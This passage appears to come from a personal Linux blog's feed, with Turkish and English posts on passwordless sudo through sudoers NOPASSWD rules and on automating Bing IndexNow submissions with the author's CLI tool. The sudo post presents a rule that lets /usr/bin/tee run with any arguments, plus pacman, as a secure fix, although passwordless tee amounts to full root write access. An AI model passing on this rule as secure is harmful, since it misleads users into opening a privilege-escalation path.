<code>Cmnd_Alias</code> for easier management.</li> <li>Keep changes in <code>/etc/sudoers.d/</code> and edit with <code>visudo</code>.</li> <li>Verify by testing with <code>sudo -n</code> and <code>sudo -l</code>.</li> </ul> <h2 id="useful-commands">Useful Commands<a class="headerlink" href="#useful-commands" title="Permanent link">#</a></h2> <div class="highlight"><pre><span></span><code>sudo<span class="w"> </span>visudo<span class="w"> </span>-f<span class="w"> </span>/etc/sudoers.d/10_mytools sudo<span class="w"> </span>-k sudo<span class="w"> </span>-n<span class="w"> </span>/usr/bin/tee<span class="w"> </span>/sys/class/leds/input4::scrolllock/brightness<span class="w"> </span><span class="o">&lt;&lt;&lt;</span><span class="w"> </span><span class="m">1</span> sudo<span class="w"> </span>-l </code></pre></div> <h2 id="resources">Resources<a class="headerlink" href="#resources" title="Permanent link">#</a></h2> <p>ArchWiki: <a href="https://wiki.archlinux.org/title/Sudo" rel="noopener noreferrer" target="_blank">Sudo - Root access</a> <code>man sudoers</code></p> <h2 id="conclusion">Conclusion<a class="headerlink" href="#conclusion" title="Permanent link">#</a></h2> <p>With these steps, you can solve the <code>sudoers passwordless command execution</code> problem securely and permanently. When you try it, write the result or which commands you allowed in the comments&mdash;let's build more secure settings together! 🎉</p> <p><img alt="Linux Sudoers passwordless operation" class="responsive-img" loading="lazy" sizes="(max-width: 576px) 100vw, (max-width: 992px) 80vw, (max-width: 1400px) 70vw, 60vw" src="/images/linux-sudoers-sifresiz-komut-xl.webp" srcset="/images/linux-sudoers-sifresiz-komut-sm.webp 300w, /images/linux-sudoers-sifresiz-komut-md.webp 500w, /images/linux-sudoers-sifresiz-komut-lg.webp 800w, /images/linux-sudoers-sifresiz-komut-xl.webp 1200w"/></p> <div class="footnote"> <hr/> <ol> <li id="fn:1"> <p>Refers to the permission to access critical files and settings on the system.&nbsp;<a class="footnote-backref" href="#fnref:1" title="Jump back to footnote 1 in the text">&larrhk;</a></p> </li> </ol> </div>2025-11-09T16:30:00+03:002025-11-09T16:45:00+03:00yuceltoluyagtag:yuceltoluyag.github.io,2025-11-09:/linux-sudoers-sifresiz-komut-cozumu/

<p>Sudoers yapılandırması yüzünden 'sudo: a password is required' hatası alıyorsan, bu rehber hatanın nedenini açıklar ve güvenli, adım adım çözümler sunar.</p>

<h2 id="giris">Giri&scedil;<a class="headerlink" href="#giris" title="Permanent link">#</a></h2> <p>Bazen bir script yazars&inodot;n ve her seferinde parola girmek zorunda kal&inodot;rs&inodot;n &mdash; sinir bozucu, de&gbreve;il mi? 😅<br/> Bu yaz&inodot;da <strong>sudoers &scedil;ifresiz komut &ccedil;al&inodot;&scedil;t&inodot;rma</strong> sorununu sade, dostane bir dille ele al&inodot;yorum; ad&inodot;m ad&inodot;m ilerleyip hatan&inodot;n kayna&gbreve;&inodot;n&inodot; ve g&uuml;venli &ccedil;&ouml;z&uuml;mlerini g&ouml;sterece&gbreve;im.</p> <h2 id="sorunun-kaynag">Sorunun Kayna&gbreve;&inodot;<a class="headerlink" href="#sorunun-kaynag" title="Permanent link">#</a></h2> <p>Wayland gibi modern masa&uuml;st&uuml; ortamlar&inodot;nda <code>xset</code> i&scedil;e yaramayabilir; bunun yerine klavye &inodot;&scedil;&inodot;klar&inodot;n&inodot; de&gbreve;i&scedil;tirmek i&ccedil;in <code>/sys/class/leds/inputX::scrolllock/brightness</code> dosyas&inodot;na yazman gerekir.<br/> Bu dosyaya yazmak root yetkisi<sup id="fnref:1"><a class="footnote-ref" href="#fn:1">1</a></sup> ister. script'inde <code>sudo tee</code> kulland&inodot;ysan sistem s&uuml;rekli &scedil;ifre isteyebilir. Bunun tipik hat&inodot;rlatmas&inodot;:</p> <div class="highlight"><pre><span></span><code>sudo:<span class="w"> </span>a<span class="w"> </span>password<span class="w"> </span>is<span class="w"> </span>required </code></pre></div> <p>&Ccedil;o&gbreve;u zaman neden, <code>sudoers</code> dosyas&inodot;nda yanl&inodot;&scedil; veya eksik izin tan&inodot;m&inodot;d&inodot;r.</p> <h2 id="neden-dogru-izin-tanm-onemli">Neden Do&gbreve;ru &Idot;zin Tan&inodot;m&inodot; &Ouml;nemli?<a class="headerlink" href="#neden-dogru-izin-tanm-onemli" title="Permanent link">#</a></h2> <ul> <li><code>sudoers</code> sat&inodot;r&inodot;nda program&inodot;n <strong>tam yolunu</strong> belirtmezsen sistem izinleri e&scedil;le&scedil;tiremez.</li> <li>Komuta verilen arg&uuml;manlar izin tan&inodot;m&inodot;na uymuyorsa i&scedil;lem yine &scedil;ifre ister.</li> <li><code>/etc/sudoers</code> veya <code>/etc/sudoers.d/</code> i&ccedil;inde s&ouml;zdizimi hatas&inodot; olabilir &mdash; bu da beklenmeyen davran&inodot;&scedil;lara yol a&ccedil;ar.</li> </ul> <div class="admonition warning"> <p class="admonition-title">Dikkat! <code>sudoers</code> dosyas&inodot;n&inodot; hatal&inodot; d&uuml;zenlemek sistemi etkileyebilir; mutlaka <code>visudo</code> ile de&gbreve;i&scedil;iklik yap ⚠️</p> </div> <h2 id="cozum-adm-adm">&Ccedil;&ouml;z&uuml;m: Ad&inodot;m Ad&inodot;m<a class="headerlink" href="#cozum-adm-adm" title="Permanent link">#</a></h2> <h3 id="1-programn-tam-yolunu-kullan">1. Program&inodot;n Tam Yolunu Kullan<a class="headerlink" href="#1-programn-tam-yolunu-kullan" title="Permanent link">#</a></h3> <p><code>sudoers</code> dosyas&inodot;na, komutun tam yolunu yazmak en temel kurald&inodot;r. &Ouml;rne&gbreve;in <code>tee</code> i&ccedil;in:</p> <div class="highlight"><pre><span></span><code>friday13 ALL=(ALL) NOPASSWD: /usr/bin/tee </code></pre></div> <p>Bu sat&inodot;r, <code>/usr/bin/tee</code> komutunu t&uuml;m arg&uuml;manlarla &scedil;ifresiz &ccedil;al&inodot;&scedil;t&inodot;rma izni verir. ✅</p> <h3 id="2-birden-fazla-komut-icin-alias-kullan">2. Birden Fazla Komut i&ccedil;in Alias Kullan<a class="headerlink" href="#2-birden-fazla-komut-icin-alias-kullan" title="Permanent link">#</a></h3> <p>Birden fazla araca izin vermek istiyorsan grup olu&scedil;turmak daha d&uuml;zenli olur:</p> <div class="highlight"><pre><span></span><code>Cmnd_Alias MYTOOLS = /usr/bin/tee, /usr/bin/pacman, /usr/bin/aurman friday13 ALL=(ALL) NOPASSWD: MYTOOLS </code></pre></div> <div class="admonition tip"> <p class="admonition-title">&Idot;pucu ⚡ Cmnd_Alias kullanarak izinleri grupland&inodot;r&inodot;rs&inodot;n; bu y&ouml;netimi kolayla&scedil;t&inodot;r&inodot;r.</p> </div> <h3 id="3-degisiklikleri-etcsudoersd-altnda-tut">3. De&gbreve;i&scedil;iklikleri <code>/etc/sudoers.d/</code> Alt&inodot;nda Tut<a class="headerlink" href="#3-degisiklikleri-etcsudoersd-altnda-tut" title="Permanent link">#</a></h3> <p>Ana <code>sudoers</code> dosyas&inodot;n&inodot; do&gbreve;rudan d&uuml;zenlemek yerine ayr&inodot; bir dosya olu&scedil;tur:</p> <div class="highlight"><pre><span></span><code>sudo<span class="w"> </span>visudo<span class="w"> </span>-f<span class="w"> </span>/etc/sudoers.d/10_mytools </code></pre></div> <p>Dosya i&ccedil;eri&gbreve;i &ouml;rne&gbreve;i:</p> <div class="highlight"><pre><span></span><code>Cmnd_Alias MYTOOLS = /usr/bin/tee, /usr/bin/pacman, /usr/bin/aurman friday13 ALL=(ALL) NOPASSWD: MYTOOLS </code></pre></div> <p>Bu y&ouml;ntem hem d&uuml;zeni korur hem de y&ouml;netimi kolayla&scedil;t&inodot;r&inodot;r.</p> <h3 id="4-test-etme-yontemleri">4. Test Etme Y&ouml;ntemleri<a class="headerlink" href="#4-test-etme-yontemleri" title="Permanent link">#</a></h3> <p>De&gbreve;i&scedil;iklikleri do&gbreve;rulamak i&ccedil;in &scedil;u ad&inodot;mlar&inodot; uygula:</p> <div class="highlight"><pre><span></span><code>sudo<span class="w"> </span>-k<span class="w"> </span><span class="c1"># Sudo &ouml;nbelle&gbreve;ini temizle</span> sudo<span class="w"> </span>-n<span class="w"> </span>/usr/bin/tee<span class="w"> </span>/sys/class/leds/input4::scrolllock/brightness<span class="w"> </span><span class="o">&lt;&lt;&lt;</span><span class="w"> </span><span class="m">1</span> sudo<span class="w"> </span>-l<span class="w"> </span><span class="c1"># Kullan&inodot;c&inodot;n&inodot;n sudo izinlerini listele</span> </code></pre></div> <p><code>sudo -n</code> komutu parola istemeden deneme yapar; e&gbreve;er hata vermezse ayar&inodot;n do&gbreve;ru &ccedil;al&inodot;&scedil;&inodot;yor demektir. ✅</p> <h2 id="yaygn-tuzaklar-ve-dikkat-edilmesi-gerekenler_1">Yayg&inodot;n Tuzaklar ve Dikkat Edilmesi Gerekenler<a class="headerlink" href="#yaygn-tuzaklar-ve-dikkat-edilmesi-gerekenler" title="Permanent link">#</a></h2> <div class="admonition warning"> <p class="admonition-title">Dikkat! <code>NOPASSWD</code> iznini geni&scedil; tutmak ciddi g&uuml;venlik a&ccedil;&inodot;klar&inodot;na yol a&ccedil;abilir ⚠️</p> </div> <div class="admonition note"> <p class="admonition-title">Not: <code>sudo -l</code> ile hangi komutlara izin verildi&gbreve;ini d&uuml;zenli aral&inodot;klarla kontrol et.</p> </div> <h2 id="ozet">&Ouml;zet<a class="headerlink" href="#ozet" title="Permanent link">#</a></h2> <ul> <li><code>sudoers</code> i&ccedil;inde <strong>tam yol</strong> belirtmek zorunludur.</li> <li><code>Cmnd_Alias</code> kullanarak izinleri grupla; y&ouml;netim kolayla&scedil;&inodot;r.</li> <li>De&gbreve;i&scedil;iklikleri <code>/etc/sudoers.d/</code> i&ccedil;inde tut ve <code>visudo</code> ile d&uuml;zenle.</li> <li><code>sudo -n</code> ve <code>sudo -l</code> ile test ederek do&gbreve;rula.</li> </ul> <h2 id="faydal-komutlar">Faydal&inodot; Komutlar<a class="headerlink" href="#faydal-komutlar" title="Permanent link">#</a></h2> <div class="highlight"><pre><span></span><code>sudo<span class="w"> </span>visudo<span class="w"> </span>-f<span class="w"> </span>/etc/sudoers.d/10_mytools sudo<span class="w"> </span>-k sudo<span class="w"> </span>-n<span class="w"> </span>/usr/bin/tee<span class="w"> </span>/sys/class/leds/input4::scrolllock/brightness<span class="w"> </span><span class="o">&lt;&lt;&lt;</span><span class="w"> </span><span class="m">1</span> sudo<span class="w"> </span>-l </code></pre></div> <h2 id="kaynaklar">Kaynaklar<a class="headerlink" href="#kaynaklar" title="Permanent link">#</a></h2> <p>ArchWiki: <a href="https://wiki.archlinux.org/title/Sudo" rel="noopener noreferrer" target="_blank">Sudo - Root eri&scedil;imi</a> <code>man sudoers</code></p> <h2 id="sonuc">Sonu&ccedil;<a class="headerlink" href="#sonuc" title="Permanent link">#</a></h2> <p>Bu ad&inodot;mlarla <code>sudoers &scedil;ifresiz komut &ccedil;al&inodot;&scedil;t&inodot;rma</code> sorununu g&uuml;venli ve kal&inodot;c&inodot; &scedil;ekilde &ccedil;&ouml;zebilirsin. Denedi&gbreve;inde sonucu veya hangi komutlara izin verdi&gbreve;ini yorumlara yaz &mdash; beraber daha g&uuml;venli ayarlar kural&inodot;m! 🎉</p> <p><img alt="Linux Sudoers &Scedil;ifre istemeden i&scedil;lem yapma" class="responsive-img" loading="lazy" sizes="(max-width: 576px) 100vw, (max-width: 992px) 80vw, (max-width: 1400px) 70vw, 60vw" src="/images/linux-sudoers-sifresiz-komut-xl.webp" srcset="/images/linux-sudoers-sifresiz-komut-sm.webp 300w, /images/linux-sudoers-sifresiz-komut-md.webp 500w, /images/linux-sudoers-sifresiz-komut-lg.webp 800w, /images/linux-sudoers-sifresiz-komut-xl.webp 1200w"/></p> <div class="footnote"> <hr/> <ol> <li id="fn:1"> <p>Sistem &uuml;zerindeki kritik dosya ve ayarlara eri&scedil;im izni anlam&inodot;na gelir.&nbsp;<a class="footnote-backref" href="#fnref:1" title="Jump back to footnote 1 in the text">&larrhk;</a></p> </li> </ol> </div>2025-11-06T19:00:00+03:002025-11-06T19:00:00+03:00yuceltoluyagtag:yuceltoluyag.github.io,2025-11-06:/en/otomatik-bing-indexnow-kullanimi/

<p>Do you want your content to appear instantly on Bing? With automatic Bing IndexNow usage, it's now very easy. Discover how it's done.</p>

<p>So you've just published a brand new blog post, but Bing takes ages to visit your site and index it? 😤 Waiting days for search engine spiders to discover your content feels as painfully slow as waiting for your turn to play Space Cadet Pinball in the morning freeze back in high school.</p> <p>If you are a paranoid developer like me, running Arch Linux and wanting to control every single piece of your system, sitting around and waiting for search engines to crawl you is absolute torture. But what if you could notify Bing of any changes on your site "instantly"? That is where <strong>Bing IndexNow usage</strong> comes in to change the game.</p> <hr/> <h2 id="what-is-bing-indexnow">What is Bing IndexNow? 🤔<a class="headerlink" href="#what-is-bing-indexnow" title="Permanent link">#</a></h2> <p>IndexNow is a super simple yet powerful protocol that lets you instantly "ping"<sup id="fnref:1"><a class="footnote-ref" href="#fn:1">1</a></sup> search engines when a change occurs on your site (like publishing a new post, updating an old one, or deleting a page). Instead of submitting a sitemap and waiting for their crawlers' convenience, you knock on their door and say: "New content is ready, come crawl it now!"</p> <p>And no, we won't be doing this process manually every time. We are going to completely automate this using a modern, smart CLI utility.</p> <div class="admonition note"> <p class="admonition-title">Note: Not Just Bing!</p> <p>When you use the IndexNow protocol, the URLs you submit are automatically shared not just with Bing, but also Yandex and other participating search engines. You reach multiple search engines with a single action!</p> </div> <hr/> <h2 id="a-modern-solution-google-bing-indexing-tool">🔧 A Modern Solution: Google &amp; Bing Indexing Tool<a class="headerlink" href="#a-modern-solution-google-bing-indexing-tool" title="Permanent link">#</a></h2> <p>We previously set up a similar structure for Google in our <a href="/en/google-indexing-api-nasil-kullanilir/">Google Indexing API Guide</a> article. Now it's Bing's turn!</p> <p>Dealing with raw scripts or running manual commands every day is a cheap student meal solution. Since we aim for professional workflows, we should do things in a clean and organized way.</p> <p>To resolve indexing issues across all my projects, I developed the open-source <a href="https://github.com/yuceltoluyag/google-indexing-tool" rel="noopener noreferrer" target="_blank">Google Indexing Tool</a>. It automates the whole process and handles both Google and Bing IndexNow submissions out-of-the-box.</p> <p>The best part? You can install this tool <strong>globally</strong> on your system and run it across all your different blog directories with a single command.</p> <h3 id="global-installation-and-setup">📦 Global Installation and Setup<a class="headerlink" href="#global-installation-and-setup" title="Permanent link">#</a></h3> <p>Open your terminal and install the tool directly from GitHub:</p> <div class="highlight"><pre><span></span><code>pip<span class="w"> </span>install<span class="w"> </span>git+https://github.com/yuceltoluyag/google-indexing-tool.git </code></pre></div> <p>This command installs a global <code>google-indexer</code> command. Now, you can manage indexing from any of your blog folders.</p> <p>Create a <code>config.ini</code> file in your blog's root directory and fill it out:</p> <div class="highlight"><pre><span></span><code><span class="k">[PELICAN]</span> <span class="na">ARTICLES_PATH</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s">content/articles</span> <span class="na">SITE_URL</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s">https://yuceltoluyag.github.io/</span> <span class="k">[DEFAULT]</span> <span class="na">CSV_FILE</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s">article_links.csv</span> <span class="na">SERVICE_ACCOUNT_FILE</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s">service-account.json</span> <span class="na">LOG_FILE</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s">indexing.log</span> <span class="k">[API]</span> <span class="na">URL</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s">https://indexing.googleapis.com/v3/urlNotifications:publish</span> <span class="na">REQUEST_DELAY_SECONDS</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s">10</span> <span class="na">COOLDOWN_DAYS</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s">3</span> <span class="k">[BING]</span> <span class="na">API_KEY</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s">your_bing_indexnow_api_key</span> <span class="na">KEY_LOCATION</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s">https://yuceltoluyag.github.io/your_bing_indexnow_api_key.txt</span> </code></pre></div> <div class="admonition tip"> <p class="admonition-title">Tip ⚡ API Key and Verification</p> <p>In the <code>API_KEY</code> field, enter the IndexNow API key generated from your Bing Webmaster Tools dashboard. The <code>KEY_LOCATION</code> is the public URL of the <code>.txt</code> file containing your key. Bing reads this file to verify that you actually own the domain.</p> </div> <hr/> <h3 id="step-by-step-automation-workflow">⚙️ Step-by-Step Automation Workflow<a class="headerlink" href="#step-by-step-automation-workflow" title="Permanent link">#</a></h3> <p>Once configuration is set, navigate to your blog directory and execute the following commands:</p> <h4 id="step-1-export-pelican-posts-to-the-tracking-db">Step 1: Export Pelican Posts to the Tracking DB<a class="headerlink" href="#step-1-export-pelican-posts-to-the-tracking-db" title="Permanent link">#</a></h4> <p>Scan all published articles on your site and append any new entries to the tracking file <code>article_links.csv</code>:</p> <div class="highlight"><pre><span></span><code>google-indexer<span class="w"> </span><span class="nb">export</span> </code></pre></div> <p>This file serves as a simple database tracking when each URL was sent to Google or Bing. Run this command whenever you update your site to keep the records updated.</p> <h4 id="step-2-batch-submit-to-bing-indexnow">Step 2: Batch Submit to Bing IndexNow<a class="headerlink" href="#step-2-batch-submit-to-bing-indexnow" title="Permanent link">#</a></h4> <p>Here is a critical detail: instead of sending requests one by one, Bing accepts all your new URLs in a single batch package:</p> <div class="highlight"><pre><span></span><code><span class="c1"># Run a dry-run simulation first to see what gets submitted:</span> google-indexer<span class="w"> </span>bing<span class="w"> </span>--dry-run <span class="c1"># Submit to Bing for real:</span> google-indexer<span class="w"> </span>bing </code></pre></div> <p>That's all! Once you receive a <code>Status Code: 200</code> or <code>202</code> response and see the "CSV file updated" message in your terminal, your URLs have successfully reached Bing and are marked with a timestamp to avoid redundant submissions.</p> <hr/> <h2 id="what-we-learned_1">📋 What We Learned<a class="headerlink" href="#what-we-learned" title="Permanent link">#</a></h2> <ul> <li><strong>Instant Ping:</strong> Search engines learn about new posts instantly via the IndexNow protocol.</li> <li><strong>Single-command Automation:</strong> The <code>google-indexer</code> tool lets you submit all new posts to Bing in one go.</li> <li><strong>Multi-engine Reach:</strong> Pinging Bing automatically shares the update with other participating engines.</li> <li><strong>Smart Database:</strong> The tool keeps track of sent URLs to avoid wasting API limits.</li> </ul> <hr/> <h2 id="conclusion">🎯 Conclusion<a class="headerlink" href="#conclusion" title="Permanent link">#</a></h2> <p>As you can see, using <strong>automatic Bing IndexNow</strong> means you no longer have to wait on search spiders to find your content. With this simple yet robust automation, you can give your site's SEO performance a massive boost.</p> <p>Have you tried this system or are you planning to set it up? Share your thoughts and questions in the comments below! 👇</p> <hr/> <ul> <li><a href="/en/google-indexing-api-nasil-kullanilir/">Guide: How to use Google Indexing API</a></li> <li><a href="https://github.com/yuceltoluyag/google-indexing-tool" rel="noopener noreferrer" target="_blank">GitHub Project Page</a></li> </ul> <p><img alt="Add your site to search results instantly with Bing IndexNow automatic indexing." class="responsive-img" loading="lazy" sizes="(max-width: 576px) 100vw, (max-width: 992px) 80vw, (max-width: 1400px) 70vw, 60vw" src="/images/bing-indexnow-otomatik-dizinleme-seo-sonuc-xl.webp" srcset="/images/bing-indexnow-otomatik-dizinleme-seo-sonuc-sm.webp 300w, /images/bing-indexnow-otomatik-dizinleme-seo-sonuc-md.webp 500w, /images/bing-indexnow-otomatik-dizinleme-seo-sonuc-lg.webp 800w, /images/bing-indexnow-otomatik-dizinleme-seo-sonuc-xl.webp 1200w"/></p> <div class="footnote"> <hr/> <ol> <li id="fn:1"> <p><strong>Ping:</strong> In computer networks, sending a small data packet to a destination to verify if it is reachable, or notifying a service of status updates instantly.&nbsp;<a class="footnote-backref" href="#fnref:1" title="Jump back to footnote 1 in the text">&larrhk;</a></p> </li> </ol> </div>2025-11-06T19:00:00+03:002025-11-06T19:00:00+03:00yuceltoluyagtag:yuceltoluyag.github.io,2025-11-06:/otomatik-bing-indexnow-kullanimi/

<p>İçeriklerinizin Bing'de anında yer almasını mı istiyorsunuz? Otomatik Bing IndexNow kullanımı ile bu artık çok kolay. Nasıl yapıldığını keşfedin.</p>

<p>Yeni bir blog yaz&inodot;s&inodot; patlatt&inodot;n, heyecanla yay&inodot;na ald&inodot;n ama Google yetmezmi&scedil; gibi Bing de sitene g&uuml;nlerce u&gbreve;ram&inodot;yor mu? 😤 S&inodot;rf robotlar&inodot;n keyfi yetip de yeni yaz&inodot;y&inodot; ke&scedil;fetsin diye g&uuml;nlerce beklemek, sabah ayaz&inodot;nda okul formas&inodot;yla Space Cadet Pinball oynamak i&ccedil;in jeton s&inodot;ras&inodot; beklemek kadar sab&inodot;r gerektirir. </p> <p>Benim gibi Arch Linux kullanan, sisteminin her h&uuml;cresini kontrol alt&inodot;nda tutmak isteyen paronayak bir geli&scedil;tiriciysen, arama motorlar&inodot;n&inodot;n siteni ne zaman ziyaret edece&gbreve;ini pasif &scedil;ekilde beklemek tam bir i&scedil;kencedir. Peki ya sana sitende yapt&inodot;&gbreve;&inodot;n en ufak de&gbreve;i&scedil;ikli&gbreve;i Bing'e "an&inodot;nda" bildirebilece&gbreve;ini s&ouml;ylesem? &Idot;&scedil;te bu noktada <strong>Bing IndexNow kullan&inodot;m&inodot;</strong> devreye giriyor ve oyunu tamamen de&gbreve;i&scedil;tiriyor.</p> <hr/> <h2 id="bing-indexnow-nedir">Bing IndexNow Nedir? 🤔<a class="headerlink" href="#bing-indexnow-nedir" title="Permanent link">#</a></h2> <p>IndexNow, web sitende bir de&gbreve;i&scedil;iklik oldu&gbreve;unda (yeni yaz&inodot; ekledi&gbreve;inde, eskiyi g&uuml;ncelledi&gbreve;inde ya da bir sayfay&inodot; sildi&gbreve;inde) arama motorlar&inodot;na an&inodot;nda bir "ping"<sup id="fnref:1"><a class="footnote-ref" href="#fn:1">1</a></sup> f&inodot;rlatman&inodot; sa&gbreve;layan a&scedil;&inodot;r&inodot; basit ama etkili bir protokold&uuml;r. Sitemap g&ouml;nderip arama motorlar&inodot;n&inodot;n keyfini beklemek yerine, kap&inodot;lar&inodot;na dayan&inodot;p "Yeni i&ccedil;erik haz&inodot;r, hemen gel bak!" demenin en h&inodot;zl&inodot; yoludur.</p> <p>Peki, bu s&uuml;reci her seferinde manuel olarak m&inodot; yapaca&gbreve;&inodot;z? Elbette hay&inodot;r! Geli&scedil;tirdi&gbreve;imiz yeni nesil ak&inodot;ll&inodot; ara&ccedil; ile bu i&scedil;i tamamen otomatikle&scedil;tirece&gbreve;iz.</p> <div class="admonition note"> <p class="admonition-title">Not: Sadece Bing De&gbreve;il!</p> <p>IndexNow protokol&uuml;n&uuml; kulland&inodot;&gbreve;&inodot;nda, g&ouml;nderdi&gbreve;in URL'ler sadece Bing'e de&gbreve;il, Yandex gibi di&gbreve;er kat&inodot;l&inodot;mc&inodot; arama motorlar&inodot;na da otomatik olarak iletilir. Tek bir ping ile birden &ccedil;ok arama motorunu harekete ge&ccedil;irirsin!</p> </div> <hr/> <h2 id="coklu-projeler-icin-modern-cozum-google-bing-indexing-tool">🔧 &Ccedil;oklu Projeler &Idot;&ccedil;in Modern &Ccedil;&ouml;z&uuml;m: Google &amp; Bing Indexing Tool<a class="headerlink" href="#coklu-projeler-icin-modern-cozum-google-bing-indexing-tool" title="Permanent link">#</a></h2> <p>Daha &ouml;nce <a href="/google-indexing-api-nasil-kullanilir/">Google Indexing API kullan&inodot;m&inodot;</a> yaz&inodot;m&inodot;zda benzer bir yap&inodot;y&inodot; Google i&ccedil;in kurmu&scedil;tuk. &Scedil;imdi s&inodot;ra Bing'de!</p> <p>Yukar&inodot;daki gibi ham kodlarla u&gbreve;ra&scedil;mak, her g&uuml;n elle betik &ccedil;al&inodot;&scedil;t&inodot;rmak tam bir makarna-yo&gbreve;urt &ouml;&gbreve;renci yeme&gbreve;i &ccedil;&ouml;z&uuml;m&uuml; olurdu. Profesyonel &ccedil;al&inodot;&scedil;&inodot;yorsak, i&scedil;i daha temiz halletmeliyiz.</p> <p>Kendi projelerimde ya&scedil;ad&inodot;&gbreve;&inodot;m dizin sorunlar&inodot;n&inodot; tek elden &ccedil;&ouml;zmek i&ccedil;in geli&scedil;tirdi&gbreve;im a&ccedil;&inodot;k kaynakl&inodot; <a href="https://github.com/yuceltoluyag/google-indexing-tool" rel="noopener noreferrer" target="_blank">Google Indexing Tool</a> projesi, t&uuml;m bu s&uuml;reci otomatik ve ak&inodot;ll&inodot; hale getiriyor. &Uuml;stelik sadece Google ile s&inodot;n&inodot;rl&inodot; kalmay&inodot;p Bing IndexNow entegrasyonu da sunuyor.</p> <p>En tatl&inodot; taraf&inodot; ne biliyor musun? Bu arac&inodot; sistemine <strong>global</strong> olarak kurup, bilgisayar&inodot;ndaki t&uuml;m farkl&inodot; blog projelerinde tek bir komutla &ccedil;al&inodot;&scedil;t&inodot;rabiliyorsun.</p> <h3 id="global-kurulum-ve-hazrlk">📦 Global Kurulum ve Haz&inodot;rl&inodot;k<a class="headerlink" href="#global-kurulum-ve-hazrlk" title="Permanent link">#</a></h3> <p>Terminale ge&ccedil;ip &scedil;u komutla arac&inodot; do&gbreve;rudan GitHub &uuml;zerinden sistemine kurabilirsin:</p> <div class="highlight"><pre><span></span><code>pip<span class="w"> </span>install<span class="w"> </span>git+https://github.com/yuceltoluyag/google-indexing-tool.git </code></pre></div> <p>Bu komut sistemine <code>google-indexer</code> ad&inodot;nda global bir CLI komutu tan&inodot;mlar. Art&inodot;k hangi blog klas&ouml;r&uuml;nde olursan ol, bu komutla dizin y&ouml;netimini yapabilirsin.</p> <p>Blog projenin ana dizininde bir adet <code>config.ini</code> dosyas&inodot; olu&scedil;tur ve i&ccedil;eri&gbreve;ini sitene g&ouml;re doldur:</p> <div class="highlight"><pre><span></span><code><span class="k">[PELICAN]</span> <span class="na">ARTICLES_PATH</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s">content/articles</span> <span class="na">SITE_URL</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s">https://yuceltoluyag.github.io/</span> <span class="k">[DEFAULT]</span> <span class="na">CSV_FILE</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s">article_links.csv</span> <span class="na">SERVICE_ACCOUNT_FILE</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s">service-account.json</span> <span class="na">LOG_FILE</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s">indexing.log</span> <span class="k">[API]</span> <span class="na">URL</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s">https://indexing.googleapis.com/v3/urlNotifications:publish</span> <span class="na">REQUEST_DELAY_SECONDS</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s">10</span> <span class="na">COOLDOWN_DAYS</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s">3</span> <span class="k">[BING]</span> <span class="na">API_KEY</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s">senin_bing_indexnow_api_anahtarin</span> <span class="na">KEY_LOCATION</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s">https://yuceltoluyag.github.io/senin_bing_indexnow_api_anahtarin.txt</span> </code></pre></div> <div class="admonition tip"> <p class="admonition-title">&Idot;pucu ⚡ API Anahtar&inodot; ve Do&gbreve;rulama</p> <p><code>API_KEY</code> k&inodot;sm&inodot;na Bing Webmaster Tools &uuml;zerinden ald&inodot;&gbreve;&inodot;n IndexNow API anahtar&inodot;n&inodot; yazmal&inodot;s&inodot;n. <code>KEY_LOCATION</code> ise bu anahtar&inodot; i&ccedil;eren <code>.txt</code> dosyas&inodot;n&inodot;n web sitendeki URL'sidir. Bing, iste&gbreve;i g&ouml;nderen ki&scedil;inin sitenin ger&ccedil;ek sahibi olup olmad&inodot;&gbreve;&inodot;n&inodot; bu dosya arac&inodot;l&inodot;&gbreve;&inodot;yla do&gbreve;rular.</p> </div> <hr/> <h3 id="adm-adm-otomatik-calsma-duzeni">⚙️ Ad&inodot;m Ad&inodot;m Otomatik &Ccedil;al&inodot;&scedil;ma D&uuml;zeni<a class="headerlink" href="#adm-adm-otomatik-calsma-duzeni" title="Permanent link">#</a></h3> <p>Her &scedil;ey haz&inodot;rsa, terminalde projenin dizinine ge&ccedil;ip &scedil;u komutlar&inodot; s&inodot;ras&inodot;yla ko&scedil;turmaya ba&scedil;la:</p> <h4 id="adm-1-pelican-yazlarn-veritabanna-aktar">Ad&inodot;m 1: Pelican Yaz&inodot;lar&inodot;n&inodot; Veritaban&inodot;na Aktar<a class="headerlink" href="#adm-1-pelican-yazlarn-veritabanna-aktar" title="Permanent link">#</a></h4> <p>Sitenizdeki t&uuml;m yay&inodot;nlanm&inodot;&scedil; makaleleri tarar ve takip listesi olan <code>article_links.csv</code> dosyas&inodot;na ekler.</p> <div class="highlight"><pre><span></span><code>google-indexer<span class="w"> </span><span class="nb">export</span> </code></pre></div> <p>Bu dosya, hangi URL'nin Google'a veya Bing'e ne zaman g&ouml;nderildi&gbreve;ini takip eden basit bir veritaban&inodot; g&ouml;revi g&ouml;r&uuml;r. Siteni her g&uuml;ncelledi&gbreve;inde bu komutu ko&scedil;turarak listeni tazeleyebilirsin.</p> <h4 id="adm-2-bing-indexnow-ile-toplu-gonderim-yap">Ad&inodot;m 2: Bing IndexNow ile Toplu G&ouml;nderim Yap<a class="headerlink" href="#adm-2-bing-indexnow-ile-toplu-gonderim-yap" title="Permanent link">#</a></h4> <p>Hac&inodot; bura &ccedil;ok kritik: Bing, tek tek u&gbreve;ra&scedil;mak yerine t&uuml;m yeni linkleri tek bir paket halinde kabul eder. Bu y&uuml;zden olduk&ccedil;a pratiktir:</p> <div class="highlight"><pre><span></span><code><span class="c1"># &Ouml;nce 